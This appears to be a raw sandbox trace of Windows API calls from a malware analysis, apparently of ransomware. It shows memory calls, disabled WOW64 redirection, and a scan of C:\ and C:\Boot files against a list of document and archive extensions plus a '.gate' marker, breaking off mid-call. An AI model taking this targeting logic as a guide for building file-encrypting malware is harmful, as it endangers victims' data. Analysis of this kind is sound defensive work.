hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0303.063] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0303.350] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0303.681] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0303.955] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0305.431] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0305.822] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0306.054] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0306.246] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0306.681] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0306.946] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0307.024] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0307.134] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0307.398] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0307.549] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0307.805] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0308.068] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0308.068] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0308.417] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0308.785] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0309.011] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0312.445] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0312.719] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0312.758] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0313.931] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0314.146] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0314.146] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0314.497] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0314.779] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0315.039] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0315.129] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0315.560] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0315.703] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0315.861] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0315.861] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x465fff0 | out: hHeap=0x6e0000) returned 1 [0315.969] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0316.099] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0316.497] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0316.531] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0316.706] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0316.991] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0317.014] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0317.243] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0317.273] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0317.354] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0317.506] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0318.112] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0318.115] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0318.115] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0318.556] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0318.556] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0318.558] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0318.558] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0318.559] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ec0938 | out: hHeap=0x6e0000) returned 1 Thread: id = 58 os_tid = 0xed0 [0272.260] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f01b18 [0272.260] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f11b20 [0272.260] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740558 [0272.260] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73c170 [0272.260] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740750 [0272.260] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x41cc020 [0272.263] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740570 [0272.263] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740570, Size=0x20) returned 0x71eb60 [0272.263] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740570 [0272.263] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740570, Size=0x20) returned 0x71ed18 [0272.263] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.263] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.263] Wow64DisableWow64FsRedirection (in: OldValue=0x377ff50 | out: OldValue=0x377ff50*=0x0) returned 1 [0272.263] lstrlenW (lpString="kernel32.dll") returned 12 [0272.263] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.263] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.263] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.263] Sleep (dwMilliseconds=0x64) [0272.482] lstrcmpiW (lpString1=".MARKER", lpString2=".gate") returned 1 [0272.482] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0272.482] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0272.508] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=0) returned 1 [0272.508] CloseHandle (hObject=0x350) returned 1 [0272.508] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.508] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.508] lstrlenW (lpString=".doc") returned 4 [0272.508] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0272.508] lstrlenW (lpString=".docx") returned 5 [0272.508] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0272.508] lstrlenW (lpString=".pdf") returned 4 [0272.508] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0272.508] lstrlenW (lpString=".xls") returned 4 [0272.508] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0272.508] lstrlenW (lpString=".xlsx") returned 5 [0272.508] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0272.509] lstrlenW (lpString=".ppt") returned 4 [0272.509] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0272.509] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.509] lstrlenW (lpString=".zip") returned 4 [0272.509] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0272.509] lstrlenW (lpString=".rar") returned 4 [0272.509] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0272.509] lstrlenW (lpString=".bz2") returned 4 [0272.509] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0272.509] lstrlenW (lpString=".7z") returned 3 [0272.509] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0272.509] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.509] lstrlenW (lpString=".dbf") returned 4 [0272.570] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0272.570] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.570] lstrlenW (lpString=".1cd") returned 4 [0272.570] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0272.570] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.570] lstrlenW (lpString=".jpg") returned 4 [0272.570] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0272.570] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.570] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.570] lstrlenW (lpString=".doc") returned 4 [0272.570] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0272.570] lstrlenW (lpString=".docx") returned 5 [0272.570] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0272.570] lstrlenW (lpString=".pdf") returned 4 [0272.570] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0272.570] lstrlenW (lpString=".xls") returned 4 [0272.570] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0272.570] lstrlenW (lpString=".xlsx") returned 5 [0272.570] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0272.570] lstrlenW (lpString=".ppt") returned 4 [0272.570] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0272.571] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.571] lstrlenW (lpString=".zip") returned 4 [0272.571] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0272.571] lstrlenW (lpString=".rar") returned 4 [0272.571] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0272.571] lstrlenW (lpString=".bz2") returned 4 [0272.571] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0272.571] lstrlenW (lpString=".7z") returned 3 [0272.571] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0272.571] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.571] lstrlenW (lpString=".dbf") returned 4 [0272.571] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0272.571] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.571] lstrlenW (lpString=".1cd") returned 4 [0272.571] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0272.571] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0272.571] lstrlenW (lpString=".jpg") returned 4 [0272.571] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0272.571] Sleep (dwMilliseconds=0x64) [0272.699] lstrlenW (lpString="BCD") returned 3 [0272.699] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.699] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.699] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.699] lstrlenW (lpString=".doc") returned 4 [0272.699] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0272.699] lstrlenW (lpString=".docx") returned 5 [0272.699] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0272.699] lstrlenW (lpString=".pdf") returned 4 [0272.699] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0272.699] lstrlenW (lpString=".xls") returned 4 [0272.699] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0272.699] lstrlenW (lpString=".xlsx") returned 5 [0272.699] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0272.699] lstrlenW (lpString=".ppt") returned 4 [0272.699] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0272.699] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.699] lstrlenW (lpString=".zip") returned 4 [0272.699] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0272.699] lstrlenW (lpString=".rar") returned 4 [0272.699] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0272.699] lstrlenW (lpString=".bz2") returned 4 [0272.700] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString=".7z") returned 3 [0272.700] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0272.700] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.700] lstrlenW (lpString=".dbf") returned 4 [0272.700] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.700] lstrlenW (lpString=".1cd") returned 4 [0272.700] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.700] lstrlenW (lpString=".jpg") returned 4 [0272.700] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.700] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.700] lstrlenW (lpString=".doc") returned 4 [0272.700] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString=".docx") returned 5 [0272.700] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0272.700] lstrlenW (lpString=".pdf") returned 4 [0272.700] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString=".xls") returned 4 [0272.700] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString=".xlsx") returned 5 [0272.700] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0272.700] lstrlenW (lpString=".ppt") returned 4 [0272.700] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.700] lstrlenW (lpString=".zip") returned 4 [0272.700] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0272.700] lstrlenW (lpString=".rar") returned 4 [0272.701] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0272.701] lstrlenW (lpString=".bz2") returned 4 [0272.701] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0272.701] lstrlenW (lpString=".7z") returned 3 [0272.701] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0272.701] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.701] lstrlenW (lpString=".dbf") returned 4 [0272.701] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0272.701] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.701] lstrlenW (lpString=".1cd") returned 4 [0272.701] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0272.701] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0272.701] lstrlenW (lpString=".jpg") returned 4 [0272.701] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0272.701] lstrcmpiW (lpString1=".LOG1", lpString2=".gate") returned 1 [0272.701] lstrlenW (lpString="BCD.LOG1") returned 8 [0272.701] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.702] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=0) returned 1 [0272.702] CloseHandle (hObject=0x37c) returned 1 [0272.702] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.702] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.702] lstrlenW (lpString=".doc") returned 4 [0272.702] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0272.702] lstrlenW (lpString=".docx") returned 5 [0272.702] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0272.702] lstrlenW (lpString=".pdf") returned 4 [0272.702] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0272.702] lstrlenW (lpString=".xls") returned 4 [0272.702] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString=".xlsx") returned 5 [0272.703] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0272.703] lstrlenW (lpString=".ppt") returned 4 [0272.703] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.703] lstrlenW (lpString=".zip") returned 4 [0272.703] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString=".rar") returned 4 [0272.703] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString=".bz2") returned 4 [0272.703] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString=".7z") returned 3 [0272.703] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0272.703] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.703] lstrlenW (lpString=".dbf") returned 4 [0272.703] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.703] lstrlenW (lpString=".1cd") returned 4 [0272.703] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.703] lstrlenW (lpString=".jpg") returned 4 [0272.703] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.703] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.703] lstrlenW (lpString=".doc") returned 4 [0272.703] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0272.703] lstrlenW (lpString=".docx") returned 5 [0272.703] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0272.703] lstrlenW (lpString=".pdf") returned 4 [0272.703] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString=".xls") returned 4 [0272.704] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString=".xlsx") returned 5 [0272.704] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0272.704] lstrlenW (lpString=".ppt") returned 4 [0272.704] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.704] lstrlenW (lpString=".zip") returned 4 [0272.704] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString=".rar") returned 4 [0272.704] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString=".bz2") returned 4 [0272.704] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString=".7z") returned 3 [0272.704] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0272.704] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.704] lstrlenW (lpString=".dbf") returned 4 [0272.704] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.704] lstrlenW (lpString=".1cd") returned 4 [0272.704] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0272.704] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0272.704] lstrlenW (lpString=".jpg") returned 4 [0272.704] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0272.704] lstrcmpiW (lpString1=".LOG2", lpString2=".gate") returned 1 [0272.704] lstrlenW (lpString="BCD.LOG2") returned 8 [0272.705] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.705] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=0) returned 1 [0272.705] CloseHandle (hObject=0x37c) returned 1 [0272.705] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.705] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.705] lstrlenW (lpString=".doc") returned 4 [0272.705] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString=".docx") returned 5 [0272.705] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0272.705] lstrlenW (lpString=".pdf") returned 4 [0272.705] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString=".xls") returned 4 [0272.705] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString=".xlsx") returned 5 [0272.705] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0272.705] lstrlenW (lpString=".ppt") returned 4 [0272.705] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.705] lstrlenW (lpString=".zip") returned 4 [0272.705] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString=".rar") returned 4 [0272.705] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString=".bz2") returned 4 [0272.705] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0272.705] lstrlenW (lpString=".7z") returned 3 [0272.705] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0272.706] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.706] lstrlenW (lpString=".dbf") returned 4 [0272.706] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.706] lstrlenW (lpString=".1cd") returned 4 [0272.706] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.706] lstrlenW (lpString=".jpg") returned 4 [0272.706] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.706] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.706] lstrlenW (lpString=".doc") returned 4 [0272.706] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString=".docx") returned 5 [0272.706] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0272.706] lstrlenW (lpString=".pdf") returned 4 [0272.706] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString=".xls") returned 4 [0272.706] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString=".xlsx") returned 5 [0272.706] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0272.706] lstrlenW (lpString=".ppt") returned 4 [0272.706] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.706] lstrlenW (lpString=".zip") returned 4 [0272.706] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString=".rar") returned 4 [0272.706] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0272.706] lstrlenW (lpString=".bz2") returned 4 [0272.706] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0272.707] lstrlenW (lpString=".7z") returned 3 [0272.707] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0272.707] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.707] lstrlenW (lpString=".dbf") returned 4 [0272.707] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0272.707] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.707] lstrlenW (lpString=".1cd") returned 4 [0272.707] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0272.707] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0272.707] lstrlenW (lpString=".jpg") returned 4 [0272.707] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0272.707] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0272.707] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0272.707] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.707] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=77664) returned 1 [0272.707] CloseHandle (hObject=0x37c) returned 